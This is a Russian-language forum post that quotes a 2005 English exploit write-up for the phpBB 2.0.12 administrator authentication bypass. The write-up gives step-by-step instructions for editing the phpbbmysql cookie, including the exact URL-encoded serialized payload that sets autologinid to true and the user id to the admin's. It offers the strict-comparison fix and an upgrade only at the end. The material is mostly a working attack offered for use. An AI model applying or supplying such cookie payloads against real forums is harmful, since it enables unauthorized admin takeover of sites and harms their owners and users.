Цитата:
	
	
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					Сообщение от Alex
					
				 И кто это был? Если не секрет... | 
	
 какая разница кто? это мог сделать любой, прочитав вот это:
	Цитата:
	
	
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					Сообщение от exploit
					
				 [size=9px]
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 phpBB 2.0.12 Session Handling
 Administrator Authentication
 Bypass EXPLOIT -SIMPLIFIED-
 - By PPC^Rebyte
 
 -----------------------------------
 
 03maa2005
 
 ** NEDERLANDSE VERSIE ONDERAAN / DUTCH VERSION BELOW **
 
 [ ENGLISH VERSION ]
 
 *** Status
 __________
 
 phpBB has already been informed about this exploit and has released a
 'critical update' on 27 februari 2005, however most forums are still running
 version 2.0.12 or lower.
 
 VULNERABLE:
 - 2.0.x --> 2.0.12
 
 IMMUNE:
 - 2.0.13 or newer
 
 
 1* Intro
 ________
 
 The discoverer of this bug is unknown, says "Paiserist" who wrote a C exploit
 for this bug.
 
 Link to Paisterist's exploit at Packetstormsecurity:
 http://packetstormsecurity.org/0503-...phpbbsession.c
 
 This program didn't work as it should on my pc, so I had to find out a way
 for myself to exploit the bug manually.
 This seemed to be much easier than compiling that C exploit and fool around
 with it until it eventually still doesn't work (in my case).
 This simplified manual method I'll describe can also be used for Internet
 Explorer or other browsers instead of only Mozilla/Firefox.
 
 
 2* The bug
 __________
 
 We're going to edit a cookie so that when you visit a certain forum another
 time you will get logged in having admin rights. This is possible due to a
 bug in includes/sessions.php
 --> if( $sessiondata['autologinid'] == $auto_login_key )
 
 
 3* Preparation
 ______________
 
 1. Register at forum?
 
 2. Log in with account
 + UNCHECK "Log in automatically"
 
 3. Close browser to be sure a cookie is made.
 
 4. Locate cookie
 *firefox: X:\Documents and Settings\Name\Application
 Data\Mozilla\Firefox\Profiles\profile.default\cook  ies.txt
 --> search the .txt for the domainname (domain.tld)
 --> default cookiename = phpbbmysql
 *iexplorer: X:\Documents and Settings\Name\Cookies\Name@domain.tld
 --> default cookiename = phpbbmysql
 
 4* Let's Xploit!
 ________________
 
 Open the cookie in a text editor and search a line that resembles:
 
 * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
 
 a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%2  2%22%3B
 s%3A6%3A%22userid%22%3Bs%3A1%3A%22X%22%3B%7D
 
 |
 [ your 'user id' ] ____|
 
 Replace this with:
 
 a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs%  3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D
 
 |
 [ 2 = 'user id' of admin ] ____|
 
 * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
 
 Save cookie and close.
 Open your browser and surf to forum.
 
 You'll now be automatically logged in having admin right
  
 
 5* Solution
 ___________
 
 * Update phpBB to version 2.0.13
 
 - or -
 
 * in "includes/sessions.php" replace code:
 
 * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
 
 if( $sessiondata['autologinid'] == $auto_login_key )
 
 replace with:
 
 if( $sessiondata['autologinid'] === $auto_login_key )
 
 * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
 
 
 6* Outro
 ________
 
 THE.END
 
 Greetings 2 everyone at Rebyte and the whole Belgian scene !!
 Additional greetings 2 Paisterist for the original C exploit !
 
 -- PPC^Rebyte --
 -- ppc@respected.as --
 
 
 +++++++++++++++++++++++++++++
 
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